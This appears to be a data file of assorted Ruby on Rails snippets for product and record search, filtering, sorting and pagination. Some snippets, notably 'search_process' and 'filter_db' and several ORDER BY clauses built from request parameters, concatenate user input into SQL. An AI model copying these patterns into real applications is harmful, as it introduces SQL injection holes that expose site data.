"def prepare(params)\n # keywords\n @query = params[:keywords]\n @promo = params[:promo]\n @recently = params[:recently]\n\n # sorting\n @sorting = params[:search][:s] if params[:search] && params[:search][:s]\n\n # taxons\n @taxons = params[:taxon] unless params[:taxon].nil?\n @remove_taxons = params[:remove_taxons] unless params[:remove_taxons].nil?\n\n # price\n @price_range = convert_to_array(params[:search][:price_any]) if params[:search] && params[:search][:price_any]\n\n # properties\n if params[:search]\n @properties = Hash.new\n\n params[:search].each do |key, value|\n\t next if key == 's' || key == 'price_any'\n\n case key\n when 'genre_any'\n @properties[:genero] = convert_to_array (value)\n when 'brand_any'\n value = convert_to_array (value).reject! { |c| c.blank? }\n @properties[:marca] = value unless value.nil? || value.empty?\n when 'condition_any'\n @properties[:condicao] = convert_to_array (value)\n when 'color_any'\n @properties[:cor] = convert_to_array (value)\n when 'size_any'\n @properties[:'tamanho-retroca'] = convert_to_array (value)\n end\n end\n end\n\n # pagination\n @per_page = (is_nil_or_negative? params[:per_page]) ? Spree::Config[:products_per_page] : params[:per_page].to_i\n @page = (is_nil_or_negative? params[:page]) ? 1 : params[:page].to_i\n end",
"def prepare(params)\n @query = params[:keywords]\n @sorting = params[:sorting]\n @taxons = params[:taxon] unless params[:taxon].nil?\n @browse_mode = params[:browse_mode] unless params[:browse_mode].nil?\n if params[:search] && params[:search][:price]\n # price\n @price_min = params[:search][:price][:min].to_f\n @price_max = params[:search][:price][:max].to_f\n # properties\n @properties = params[:search][:properties]\n end\n\n @per_page = (params[:per_page].to_i <= 0) ? Spree::Config[:products_per_page] : params[:per_page].to_i\n @page = (params[:page].to_i <= 0) ? 1 : params[:page].to_i\n end",
"def index\n @search = Author.search(params[:q])\n @authors = @search.result\n @search.build_condition if @search.conditions.empty?\n @search.build_sort if @search.sorts.empty?\n end",
"def index\n @products = Product.all.page(params[:page]).per(12)\n # .result(distinct: true)\n\n if params[:q].present?\n # 検索フォームからアクセスした時の処理\n @serch = Product.ransack(params[:q])\n @products = @serch.result(distinct: true).page(params[:page]).per(12)\n else\n # 検索フォーム以外からアクセスした時の処理\n params[:q] = { sorts: 'id desc' }\n @serch = Product.ransack(params[:sorts])\n @products = Product.all.page(params[:page]).per(12)\n end\n end",
"def search\n \n @account = getAccount()\n \n session[:sort] = \"id DESC\" if session[:sort] == nil\n session[:sort] = 'price' if params[:sort] == \"lprice\"\n session[:sort] = 'id DESC' if params[:sort] == \"latest\"\n session[:sort] = 'price DESC' if params[:sort] == \"hprice\"\n session[:sort] = 'title' if params[:sort] == \"title\"\n \n # request from search form\n if request.post?\n params[:darken] = false\n session[:label] = \"\"\n \n @page_title = \"Search\"\n if params[:search][:query].blank?\n redirect_to :action=>'index', :controller=>'go'\n else\n \n query = params[:search][:query]\n\n\n #@product_pages, @products = paginate(:product, :conditions => [\"match(details,title) against (?)\", query], :order=> session[:sort])\n\n ##########\n q = query\n q = query.gsub(/\\s/, ' , ')\n\n q = \"%\"+q+\"%\"\n\n @products = Product.paginate(:order=> session[:sort], \n :per_page => 10, \n :page=>params[:page],\n :conditions => [\"title like ? OR details like ? OR labels like ?\", q,q,q])\n ##########\n\n @header = \"Product(s) for your query: '\" + query + \"'\"\n\n render(:file => \"#{RAILS_ROOT}/app/views/templates/#{Shop.def_template_name}/frontend/#{action_name}.html.erb\", \n :layout => true)\n end \n end\n \n \n # request from menu\n if request.get?\n \n params[:darken] = true\n \n if params[:label].blank?\n @page_title = session[:label].to_s\n query = session[:label].to_s \n #session[:label] = query\n else\n @page_title = params[:label].to_s\n query = params[:label].to_s \n session[:label] = query \n end \n \n q = \"%\" + query + \"%\"\n q = q.downcase\n \n @products = Product.paginate(:order=> session[:sort], \n :per_page => 8, \n :page=>params[:page],\n :conditions => [\"labels like ?\", q])\n \n @header = \"\" + query + \"\"\n \n render(:file => \"#{RAILS_ROOT}/app/views/templates/#{Shop.def_template_name}/frontend/#{action_name}.html.erb\", \n :layout => true)\n end \n \n end",
"def search_process\n @search_text =params[:q].to_s\n all =params[:all].to_s\n exact =params[:exact].to_s\n any =params[:any].to_s\n none =params[:none].to_s\n advanced_query=\"\"\n\n if all != \"\"\n all =all.split(' ')\n all_like =all.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n all_like =all_like.join(' and ')\n advanced_query=all_like\n end\n\n if exact != \"\" && all != \"\"\n exact =\"'%\"+exact+\"%'\"\n advanced_query = advanced_query + \" and keyword like \" + exact\n end\n\n if exact != \"\" && all == \"\"\n exact =\"'%\"+exact+\"%'\"\n advanced_query = \"keyword like \" + exact\n end\n\n if any != \"\" and (all != \"\" or exact != \"\")\n any =any.split(' ')\n any_like =any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n any_like =any_like.join(' or ')\n advanced_query = advanced_query + \" and (\" + any_like + \")\"\n end\n\n if any != \"\" and all == \"\" and exact == \"\"\n any =any.split(' ')\n any_like =any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n any_like =any_like.join(' or ')\n advanced_query = \"(\" + any_like + \")\"\n end\n\n if none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\n none =none.split(' ')\n none_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\n\n none_not_like=none_not_like.join(' and ')\n\n advanced_query=advanced_query + \" and \" + none_not_like\n\n end\n\n if none != \"\" and all == \"\" and exact == \"\" and any == \"\"\n none =none.split(' ')\n none_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\n\n none_not_like=none_not_like.join(' and ')\n\n advanced_query= none_not_like\n end\n\n\n advanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\n\n parameter_search_text=@search_text.split.join(\" \")\n keyword_array =parameter_search_text.split(' ')\n keyword_count =keyword_array.size\n\n connection = ActiveRecord::Base.connection\n\n if all != \"\" or exact != \"\" or any != \"\" or none != \"\"\n @resultset = connection.execute(\"#{advanced_query}\");\n else\n @resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\n end\n\n ActiveRecord::Base.clear_active_connections!\n\n @resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '') }\n\n @model_ids =Array.new\n @model_names =Array.new\n @model_types =Array.new\n\n @resultset_strings.each do |result|\n\n substring=result[0..4]\n\n if substring == \"NMLCL\"\n cell=Cell.find_by_Cell_ID(result.to_s)\n name=cell.Cell_Name\n type=\"Cell\"\n end\n\n if substring == \"NMLCH\"\n channel=Channel.find_by_Channel_ID(result.to_s)\n name =channel.Channel_Name\n type =\"Channel\"\n end\n\n\n if substring == \"NMLNT\"\n network=Network.find_by_Network_ID(result.to_s)\n name =network.Network_Name\n type =\"Network\"\n end\n\n if substring == \"NMLSY\"\n synapse=Synapse.find_by_Synapse_ID(result.to_s)\n name =synapse.Synapse_Name\n type =\"Synapse\"\n end\n\n @model_ids.push(result)\n @model_names.push(name)\n @model_types.push(type)\n\n end\n\n if @model_ids.count != 0\n\n render :partial => 'keyword_results_list',\n :locals => {\n :model_ids => @model_ids,\n :model_names => @model_names,\n :model_types => @model_types\n }\n\n else\n\n render :partial => 'no_results'\n\n end\n\n end",
"def filter_db\n \n start = params[:start]\n finish = params[:finish]\n search_field = params[:search_on][:field]\n sort_field = search_field == \"year_month\" ? \"pe_tenyear\" : search_field\n \n @db = Macroval.find(:all, :conditions => {\"#{search_field}\" => start..finish}, :limit => 24, :order => \"#{sort_field} ASC\")\n \n render :partial => 'macroval', :layout=>false \n end",
"def query q, limit=nil, feedback=true\n # The query is tokenised and weighted according to the 2hio algorithm\n q = self.rocchio(q)\n puts q.length\n\n # A results array is initialised, in which each document maps to its results\n # weight\n results = Hash.new { |h, k| h[k] = 0 }\n\n # For each query term (and adjusted feedback weight), we iterate over all\n # documents containing the term and for each document, add it to the results\n # if it does not exist, and then updated its score with the TF-IDF and term\n # weight accordingly.\n q.each do |term, weight|\n document_frequency = self.terms[term][:frequency]\n if document_frequency > 0 \n documents = self.terms[term][:documents]\n documents.each do |document, frequency|\n results[document] += frequency/document_frequency * weight\n end\n end\n end\n\n # Each document's score is normalised according to it's length\n results.each do |document, result| \n results[document] = result/self.lengths[document]\n end\n\n # The results are sorted according to most relevant first. If a limit has \n # been requested this is then enforced, before finally returning the\n # results.\n results = results.sort{|a,b| b[1] <=> a[1]}\n results = results.first(limit) if limit\n return results\n end",
"def index\n @title = \"List filter samples\"\n\n #if params[:id].present?\n # logger.warn(\"#{Time.now} - filter_sampling filtered by: #{params[:id]}\") \n # filter_samples = FilterSample.find(:all, :conditions => [ \"sampling_id = ?\", params[:id]]) do\n # paginate :page => params[:page], :per_page => params[:rows] \n # order_by \"#{params[:sidx]} #{params[:sord]}\"\n # end\n #else\n # filter_samples = FilterSample.find(:all, :joins => [:sampling, :wfilter]) do\n # if params[:_search] == \"true\"\n # sampling.volume =~ \"%#{params[:sample_name]}%\" if params[:sample_name].present?\n \n # code =~ \"%#{params[:code]}%\" if params[:code].present?\n # barcode =~ \"%#{params[:barcode]}%\" if params[:barcode].present?\n # #wfilter.pore_size >= \"%#{params[:filter_name]}%\" if params[:filter_name].present?\n # wfilter.pore_size =~ \"%#{params[:filter_name]}%\" if params[:filter_name].present?\n # #pore_size >= \"%#{params[:filter_name]}%\" if params[:filter_name].present?\n # volume =~ \"%#{params[:volume]}%\" if params[:volume].present?\n # num_filters =~ \"%#{params[:num_filters]}%\" if params[:num_filters].present?\n # end\n #paginate :page => params[:page], :per_page => params[:rows] \n #if params[:sidx] == \"filter_name\"\n # order_by \"wfilters.pore_size #{params[:sord]}\"\n #elsif params[:sidx] == \"sample_name\"\n # order_by \"samplings.code #{params[:sord]}\"\n\n #set the database table name and column\n #elsif params[:sidx] == \"code\"\n # order_by \"filter_samples.code #{params[:sord]}\"\n #elsif params[:sidx] == \"num_filters\"\n # order_by \"filter_samples.num_filters #{params[:sord]}\"\n #elsif params[:sidx] == \"volume\"\n # order_by \"filter_samples.volume #{params[:sord]}\"\n #else\n # order_by \"#{params[:sidx]} #{params[:sord]}\"\n #end\n #end\n #end\n\n\n #respond_to do |format|\n # format.html # index.html.erb\n # #format.xml { render :xml => @filter_samples }\n # format.json { render :json => filter_samples.to_jqgrid_json(\n # [:id, \"act\",\"code\",:sample_name,\"barcode\",\"filter_name\",:num_filters,:volume,\"edit\"],\n # params[:page], params[:rows], filter_samples.total_entries) }\t\t\t\n #end\n\n index_columns ||= [:id, :act,:code,:sample_name, :barcode, :filter_name,:num_filters,:volume, :edit]\n current_page = params[:page] ? params[:page].to_i : 1\n rows_per_page = params[:rows] ? params[:rows].to_i : 10\n\n conditions={:page => current_page, :per_page => rows_per_page}\n conditions[:order] = params[\"sidx\"] + \" \" + params[\"sord\"] unless (params[:sidx].blank? || params[:sord].blank?)\n \n if params[:_search] == \"true\"\n conditions[:conditions]=filter_by_conditions(index_columns)\n end\n \n @filter_samples=FilterSample.paginate(conditions)\n total_entries=@filter_samples.total_entries\n \n respond_with(@filter_samples) do |format|\n format.json { render :json => @filter_samples.to_jqgrid_json(index_columns, current_page, rows_per_page, total_entries)} \n end\n\n\n end",
"def index\n # @offerings = Offering.all\n if params[:query].present?\n # sql_query = \" \\\n # offerings.name @@ :query \\\n # OR offerings.genre @@ :query \\\n # \"\n # @offerings = Offering.where(sql_query, query: \"%#{params[:query]}%\")\n @offerings = policy_scope(Offering.search_by_genre_and_name(\"%#{params[:query]}%\"))\n else\n @offerings = policy_scope(Offering)\n @offering = Offering.all\n end\n end",
"def search(query='*', opts={})\n\n defaults = {\n :search_category => 'all',\n :load_search_page => true\n }\n \n opts = defaults.merge(opts)\n\n if (opts[:load_search_page])\n @request.add('/var/widgets.json?callback=define')\n @request.add('/system/me?_charset_=utf-8')\n @request.add('/var/templates/worlds.2.json?_charset_=utf-8')\n end\n \n case opts[:search_category]\n when 'all'\n @request.add(\"/var/search/general.json?q=#{query}&tags=&sortOn=_lastModified&sortOrder=desc&page=0&items=18&_charset_=utf-8&_=1342558141063\",\n {}, { 'subst' => 'true' })\n when 'content'\n @request.add(\"/var/search/pool/all.infinity.json?q=#{query}&tags=&sortOn=_lastModified&sortOrder=desc&page=0&items=18&_charset_=utf-8&_=1342558155346\",\n {}, { 'subst' => 'true' })\n when 'people'\n @request.add(\"/var/search/users.infinity.json?q=#{query}&tags=&sortOn=_lastModified&sortOrder=desc&page=0&items=18&_charset_=utf-8&_=1342558158607\",\n {}, { 'subst' => 'true' })\n when 'groups'\n @request.add(\"/var/search/groups.infinity.json?q=#{query}&tags=&sortOn=_lastModified&sortOrder=desc&category=group&page=0&items=18&_charset_=utf-8&_=1342558161747\",\n {}, { 'subst' => 'true' })\n when 'courses'\n @request.add(\"/var/search/groups.infinity.json?q=#{query}&tags=&sortOn=_lastModified&sortOrder=desc&category=course&page=0&items=18&_charset_=utf-8&_=1342558164687\",\n {}, { 'subst' => 'true' })\n when 'research_projects'\n @request.add(\"/var/search/groups.infinity.json?q=#{query}&tags=&sortOn=_lastModified&sortOrder=desc&category=research&page=0&items=18&_charset_=utf-8&_=1342558167607\",\n {}, { 'subst' => 'true' })\n end\n \n if (opts[:load_search_page])\n @request.add('/system/batch?_charset_=utf-8&requests=%5B%7B%22url%22%3A%22%2Fdevwidgets%2Fdisplayprofilesection%2Fdisplayprofilesection.html%22%2C%22method%22%3A%22GET%22%2C%22_charset_%22%3A%22utf-8%22%7D%2C%7B%22url%22%3A%22%2Fdevwidgets%2Fdisplayprofilesection%2Fbundles%2Fdefault.properties%22%2C%22method%22%3A%22GET%22%2C%22_charset_%22%3A%22utf-8%22%7D%5D&_=1324426870134')\n @request.add('/system/batch?_charset_=utf-8&requests=%5B%7B%22url%22%3A%22%2Fdevwidgets%2Fprofilesection%2Fprofilesection.html%22%2C%22method%22%3A%22GET%22%2C%22_charset_%22%3A%22utf-8%22%7D%2C%7B%22url%22%3A%22%2Fdevwidgets%2Fprofilesection%2Fbundles%2Fdefault.properties%22%2C%22method%22%3A%22GET%22%2C%22_charset_%22%3A%22utf-8%22%7D%5D&_=1324426870481')\n end\n \n end",
"def filter\n res = RResponse.new\n \n # if no filter params exists, then we're in presentation mode of an existing query (and possibly paging). in this case\n # the set of order ids must exist in session[:order_filter]\n if (params[\"filter\"].nil?)\n raise RException.new(\"order/query call with neither a filter nor a resultset in session\") if session[:order_filter].nil? \n res.data[:rs] = Order.filter(session[:order_filter], params[\"limit\"], params[\"start\"]) \n res.data[:total] = session[:order_filter].length \n res.success = true \n \n # filter params were found -- this means we're building a new query\n else\n # build a criteria hash.\n c = {}\n params[\"filter\"].each_pair do |k,v|\n if (v == 'on')\n filter = {} \n params[k].each_pair do |name, value|\n filter[name.to_sym] = value\n end \n filter[:location] = params[\"location\"] if (k == 'airport') \n filter[:role] = params[\"role\"] if (k == 'company') \n c[k.to_sym] = filter \n end\n end \n LOG.info('filter: ' + c.to_yaml)\n res.data[:total] = 0 \n if (rs = Order.prepare_filter(c))\n session[:order_filter] = rs \n res.data[:total] = rs.length\n res.msg = \"Found #{rs.length} orders\" \n else \n res.msg = \"No orders found with that criteria\"\n end \n res.success = true\n end \n \n respond(res)\n \n end",
"def search_and_sort(value, direction)\n if value.blank? && direction.blank?\n Servicer.all.order(\"servicers.name ASC\")\n elsif value.blank? && direction=='asc'\n Servicer.all.order(\"servicers.name ASC\")\n elsif value.blank? && direction=='desc'\n Servicer.all.order(\"servicers.name DESC\")\n elsif value && direction=='asc'\n Servicer.full_text_search(value).reorder(\"servicers.name ASC\").with_pg_search_rank\n elsif value && direction=='desc'\n Servicer.full_text_search(value).reorder(\"servicers.name DESC\").with_pg_search_rank\n else\n Servicer.full_text_search(value).with_pg_search_rank\n end\n end",
"def do_search(params)\n\n # This first section sets up basic search parameters based on what was requested.\n\n format = params[:format].present? ? params[:format] : 'none'\n\n order = params[:order].present? ? {field: params[:order].split[0], direction: params[:order].split[1]} : {}\n limit = params[:limit].present? ? params[:limit].to_i : 50\n page = params[:limit] ? (params[:offset].to_i / params[:limit].to_i) + 1 : 1\n s_op = params[:op].present? ? params[:op] : 'AND'\n role = params[:role].present? ? params[:role] : 'guest'\n\n linking_tool = params[:linking_tool].present?\n\n options = options_for_search(params)\n\n reviewed = params[:reviewed] && params[:reviewed] == \"1\" ? false : nil\n\n # Each model has a custom version of these functions (and a list of valid fields) to permit only the\n # appropriate search fields for each model. \n\n # \"Params\" are any fulltext fields\n # \"Filters\" are all non-fulltext fields (numbers, booleans, exact string matches)\n # \"Dates\" are specifically for fields that need to allow date comparison\n\n filters = filters_for_search(params)\n dates = dates_for_search(params)\n params = params_for_search(params)\n \n s = self.search do\n \n # Fulltext search is defined as a lambda function, since it needs to be able to be combined with non-fulltext\n # search options as the user decides.\n\n fulltext_search = lambda { |p, o| \n if params.present?\n p.each do |field, value|\n\n # Since there are unlimited rows for the advanced search, the user can submit multiple values for the same field\n # i.e. \"Title\" for an Entry could be \"Bible\" and \"Book\" separately. So, they are iterated over:\n\n value = Array(value)\n if value.kind_of? Array\n value.each do |v|\n\n # Each search field can also be qualified in various ways\n\n op = Array(options[field + \"_option\"]).shift\n \n # If searching for this 'without' the term, right now just add a '-' to the beginning of query to negate it\n \n if op && op == 'does not contain'\n fulltext \"-\" + v.gsub(' ', '+'), :fields => [field]\n elsif op && op == 'blank'\n with field.gsub('_search', ''), nil\n elsif op && op == 'not blank'\n without field.gsub('_search', ''), nil\n elsif op && op == 'before'\n with(field).less_than v\n elsif op && op == 'after'\n with(field).greater_than v\n else\n fulltext v, :fields => [field]\n end\n end\n end\n end\n end\n }\n\n if not reviewed.nil?\n with :reviewed, false\n end\n\n # The same process for exact-match fields, but this time the search is being run and narrowed (i.e. it is not\n # using a lambda function)\n\n if filters.present?\n filters.each do |field, value|\n value = Array(value)\n value.each do |v|\n op = Array(options[field + \"_option\"]).shift\n if op && op == 'blank'\n with field, nil\n elsif op && op == 'not blank'\n without field, nil\n elsif v.blank? # ignore blank\n elsif op && op == 'less than'\n with(field).less_than v\n elsif op && op == 'greater than'\n with(field).greater_than v\n elsif op && op == 'without'\n without field, v\n elsif v.kind_of?(Array) && v.all? { |v2| v2.blank? } # make sure it's not an array of blanks \n else\n if ['true', 'false'].include? v\n v = (v == 'true')\n end\n with field, v\n end\n end\n end\n end\n\n # The same process for Dates, but with different interpretations of the search field options to correspond\n # with date-based searching\n\n if dates.present?\n dates.each do |field, value|\n value = Array(value)\n value.each do |v|\n v = v.split(/[-\\/]/).join(\"\").ljust(8, '01')\n op = Array(options[field + \"_option\"]).shift\n begin\n if op && op == 'before'\n with(field).between(Date.new(0,1,1)..Date.parse(v))\n elsif op && op == 'after'\n with(field).between(Date.parse(v)..Date.today)\n elsif op && op == 'near'\n d = Date.parse(v)\n with(field).between((d - 1.month)..(d + 1.month))\n elsif op && op == 'exact'\n with(field, v)\n end\n rescue ArgumentError\n @error = \"Error in Date Search - please use format YYYY/MM/DD or similar\"\n end\n end\n end\n end\n\n # In order to use SUNSPOT'S 'and'/'or' options together with non-fulltext fields,\n # we create a lambda function for fulltext searching (above)\n\n # ( This may be an idiosycracy of Sunspot only, but that is the reason for this roundabout approach ) \n\n if s_op == 'OR'\n any do\n fulltext_search.call(params, options)\n end\n else\n all do\n fulltext_search.call(params, options)\n end\n end\n\n # Unfortunately, sunspot does not natively support MIXING fulltext and exact searches using the \"OR\" operator \n # - so we do that manually\n # \n # params[:fq] refer to 'filter queries', or queries that refer to a fixed set of objects (exact strings, numbers, etc.)\n # params[:q] refers to fulltext queries\n\n # What this block of code does is check whether the 'OR' operator is used, and if it has been added by sunspot correctly\n # to the Solr query - if not, it is added in the proper place\n\n adjust_solr_params do |params|\n new_q = []\n p_fq = []\n params[:fq].each do |fq|\n if not fq.include? \"type\"\n new_q.push('_query_:\"{!edismax} ' + fq + '\"')\n else\n p_fq.push(fq)\n end\n end\n params[:fq] = p_fq\n if params[:q].blank?\n # nothing here...\n elsif not params[:q].include? s_op\n params[:q] = '(_query_:\"{!edismax qf=\\'' + params[:qf] + '\\'}' + params[:q].gsub('\"', '\\\"') + '\")'\n params.delete(:qf)\n end\n if params[:q].blank?\n if new_q.length > 0\n params[:q] = new_q.join(\" #{s_op} \")\n else\n params[:q] = \"*\"\n end\n else\n params[:q] = ([params[:q]] + new_q).join(\" #{s_op} \")\n end\n if linking_tool\n # NOTE: remove 'approved' thing here to make unapproved records show up in linking tool...\n params[:q] = '(' + params[:q] + ') AND (_query_:\"{!edismax qf=\\'deprecated\\'}false\") AND (_query_:\"{!edismax qf=\\'draft\\'}false\")'\n elsif role != \"admin\" && self.model_name.to_s == 'Entry'\n params[:q] = '(' + params[:q] + ') AND (_query_:\"{!edismax qf=\\'draft\\'}false\")'\n end\n end\n\n # Finally, page number, count and order_by field are accounted for, and the search results are returned\n\n paginate :per_page => limit, :page => page\n\n order.present? ? order_by(order[:field], order[:direction]) : order_by(:score, :desc)\n\n end\n\n return s\n end",
"def search\n\t authorize! :search, Book\n\n\t query = params[:search] || \"\"\n page = params[:page] ? params[:page].to_i : 1\n \n @conditions = Condition.all\n\t @result = Book.search(query, page)\n @result = Book.calculate_hidden(@result, session[:user_id])\n\n\tend",
"def nxql_search_params\n fields = %w(brand_id brand_name item_id item_name nf_serving_size_qty nf_serving_size_unit)\n fields << %w(nf_calories nf_total_carbohydrate nf_sodium nf_dietary_fiber nf_protein)\n default_fields = fields.flatten\n\n {\n offset: 0,\n limit: 50,\n fields: default_fields,\n\n filters:{\n item_type:2 #filter by boxed goods?\n }\n\n }\n end",
"def search(*args)\n filters = convert_filters(args)\n pager_options = extract_pager_options(filters)\n build_collection(raw.search(*filters).merge(pager_options: pager_options))\n end",
"def rocchio query\n alpha = 0\n beta = 0.75\n gamma = -0.25\n \n query = query.downcase.split(\" \")\n init = query\n\n # We append each positive feedback document's terms to our new query vector. \n self.feedback.each { |document, feedback, terms| query |= terms if feedback }\n\n query.map do |term| \n # If the term was in the original query, we set its vector wight to 1, \n # otherwise its set to 0.\n weight = (init.include? term) ? 1 : 0\n weight += alpha\n\n document_frequency = self.terms[term][:frequency]\n if document_frequency > 0 \n self.feedback.each do |document, feedback, terms|\n frequency = self.terms[term][:documents][document]\n adjust = frequency/document_frequency\n weight += (feedback ? beta : gamma) * adjust\n end\n end\n\n weight = 0 if weight < 0\n\n [term, weight]\n end\n end",
"def index\n modify_search_query\n\n @services = Service.approved\n @garages = nil\n\n if !params[:max_radius].present? && !params[:min_radius].present?\n @q = Garage.near(get_lat_long, 999999999999).ransack(params[:q])\n else\n @q = donut_search\n end\n\n if params[:search_service_ids].present?\n @garages = @q.result.where(\"services_ids @> ?\", \"{#{params[:search_service_ids].join(',')}}\")\n else\n @garages = @q.result\n end\n\n if params[:garage_sort_by] == 'rating'\n @garages = @garages.decorate.sort_by(&:avg_rating)\n elsif params[:garage_sort_by] == 'date'\n @garages = @garages.decorate.sort_by(&:created_at)\n else\n params[:garage_sort_by] = 'distance'\n @garages = @garages.decorate\n end\n\n restore_search_query\n end",
"def public_deck # Shows all public decks\n if params[:sort] == \"Number of Users\"\n @decks = Deck.most_users\n elsif params[:sort] == \"Newest Created\"\n @decks = Deck.newest_created\n elsif params[:sort] == \"Oldest Created\"\n @decks = Deck.oldest_created\n else \n @decks = Deck.newest_created\n end\n\n if params[:search]\n @decks = Deck.search(params[:search])\n end \n end",
"def index\n q = params[:q]\n field = params[:field]\n #logger.debug \">> field: #{field}\"\n if q.blank?\n @washes = Wash.paginate(:page => params[:page]).order('stocked_on DESC, id ASC')\n #@washes = Wash.paginate :page => params[:page] || 1, :per_page => 2, :order => 'stocked_on DESC, created_at ASC'\n else\n q.strip!\n field.strip!\n @washes = case field.to_sym\n when :name\n Wash.where(\" LOWER(name) LIKE ? \", \"%#{q.downcase}%\").paginate(:page => params[:page]).order('stocked_on DESC, created_at ASC')\n #Wash.paginate :page => params[:page]||1, :per_page => 2,:conditions =>[\" LOWER(name) LIKE ? \", \"%#{q.downcase}%\"],:order =>'stocked_on DESC, created_at ASC'\n when :email\n Wash.where(\" LOWER(email) LIKE ? \", \"%#{q.downcase}%\").paginate(:page => params[:page]).order('stocked_on DESC, created_at ASC')\n #Wash.paginate :page => params[:page]||1, :per_page => 2,:conditions =>[\" LOWER(email) LIKE ? \", \"%#{q.downcase}%\"],:order =>'stocked_on DESC, created_at ASC'\n when :phone\n Wash.where(\" phone LIKE ? OR mobile LIKE ? \", \"%#{q}%\", \"%#{q}%\").paginate(:page => params[:page]).order('stocked_on DESC, created_at ASC')\n #Wash.paginate :page => params[:page]||1, :per_page => 2,:conditions =>[\" phone LIKE ? OR mobile LIKE ? \", \"%#{q}%\", \"%#{q}%\"], :order =>'stocked_on DESC, created_at ASC'\n when :address\n Wash.where(\" LOWER(address) LIKE ? OR LOWER(address2) LIKE ? \", \"%#{q.downcase}%\", \"%#{q.downcase}%\").paginate(:page => params[:page]).order('stocked_on DESC, created_at ASC')\n #Wash.paginate :page => params[:page]||1, :per_page => 2,:conditions =>[\" LOWER(address) LIKE ? OR LOWER(address2) LIKE ? \", \"%#{q.downcase}%\", \"%#{q.downcase}%\"],:order =>'stocked_on DESC, created_at ASC'\n when :stocked_on\n Wash.where(\" stocked_on LIKE ? \", \"%#{q}%\").paginate(:page => params[:page]).order('stocked_on DESC, created_at ASC')\n #Wash.paginate :page => params[:page]||1, :per_page => 2,:conditions =>[\" stocked_on LIKE ? \", \"%#{q}%\"], :order =>'stocked_on DESC, created_at ASC'\n when :released_on\n Wash.where(\" released_on LIKE ? \", \"%#{q}%\").paginate(:page => params[:page]).order('stocked_on DESC, created_at ASC')\n #Wash.paginate :page => params[:page]||1, :per_page => 2,:conditions =>[\" released_on LIKE ? \", \"%#{q}%\"], :order =>'stocked_on DESC, created_at ASC'\n when :status\n Wash.where(\" LOWER(status) LIKE ? \", \"%#{q.downcase}%\").paginate(:page => params[:page]).order('stocked_on DESC, created_at ASC')\n #Wash.paginate :page => params[:page]||1, :per_page => 2,:conditions =>[\" LOWER(status) LIKE ? \", \"%#{q.downcase}%\"], :order =>'stocked_on DESC, created_at ASC'\n when :customer_id\n Wash.where(\" customer_id = ? \", q).paginate(:page => params[:page]).order('stocked_on DESC, created_at ASC')\n else #all\n where = <<-DOCUMENT\n LOWER(name) LIKE ? OR LOWER(email) LIKE ? \n OR phone LIKE ? OR mobile LIKE ? \n OR LOWER(address) LIKE ? OR LOWER(address2) LIKE ? \n OR LOWER(status) LIKE ? \n DOCUMENT\n\n Wash.where( where, \"%#{q.downcase}%\", \"%#{q.downcase}%\", \"%#{q}%\", \"%#{q}%\", \"%#{q.downcase}%\", \"%#{q.downcase}%\", \"%#{q.downcase}%\").paginate(:page => params[:page]).order('stocked_on DESC, id ASC')\n #Wash.paginate :page => params[:page]||1, :per_page => 2,:conditions =>[ where, \"%#{q.downcase}%\", \"%#{q.downcase}%\", \"%#{q}%\", \"%#{q}%\", \"%#{q.downcase}%\", \"%#{q.downcase}%\", \"%#{q}%\", \"%#{q}%\"], :order =>'stocked_on DESC, created_at ASC'\n end\n end #end of if\n #@show_pagination = @washes.length > 0 && @washes.total_pages > 1\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @washes }\n end\n end",
"def filter_and_sort(sort_by = nil)\n filter_customers\n sort_customers(sort_by)\n\n self\n end",
"def index\n authorize! :manage, @product , :message => \"Access denied.\"\n if params[:sort] == nil then\n @products = Product.search(params[:search])\n .order(:created_at => :desc)\n .page(params[:page]).per(25)\n else\n @products = Product.search(params[:search])\n .order(sort_column + \" \" + sort_direction)\n .order(:created_at => :desc)\n .page(params[:page]).per(25)\n end\n end",
"def search( query, page=nil )\n \n # Reset all of our stored variables\n @ordered_results = []\n @current_results = {}\n @grouped_terms = {}\n @current_results_total = 0\n @current_page = 1\n \n # Calculate the start page\n start_doc = 0\n if page and ( Integer(page) > 1 )\n start_doc = ( Integer(page) - 1 ) * @docs_per_page\n end\n \n data = index_request(\n {\n \"q\" => query,\n \"sort\" => @sort_results_by,\n \"start\" => start_doc,\n \"rows\" => @docs_per_page,\n \"hl\" => true,\n \"hl.fl\" => '*',\n \"hl.usePhraseHighlighter\" => true\n }\n )\n \n if start_doc === 0\n @current_page = 1\n else\n @current_page = ( start_doc / @docs_per_page ) + 1\n end\n \n @current_results_total = data[\"response\"][\"numFound\"]\n \n data[\"response\"][\"docs\"].each do |doc|\n @current_results[ doc[ @primary_field ] ] = {\n \"index\" => doc,\n \"search_explaination\" => data[\"highlighting\"][ doc[ @primary_field ] ]\n }\n @ordered_results.push( doc[ @primary_field ] )\n end\n \n # Process and cache these results ready for searching the marts\n @grouped_terms = grouped_query_terms( @current_results )\n \n return @current_results\n end",
"def execute\n perform_search(Group.all)\n .then(&method(:paginate))\n .then(&method(:sort))\n end",
"def search(query)\n price_range = (query[:price_min]..query[:price_max])\n result = PRODUCTS.select do |product|\n price_range.cover?(product[:price]) && \n product[:name].downcase.include?(query[:q])\n end\n result\nend",
"def search\t\t\n\t\t @query = params[:query]\n\t\t @storecunsumptions = Storecunsumption.search @query, :page => params[:page], :per_page => 10\t\t\n\tend",
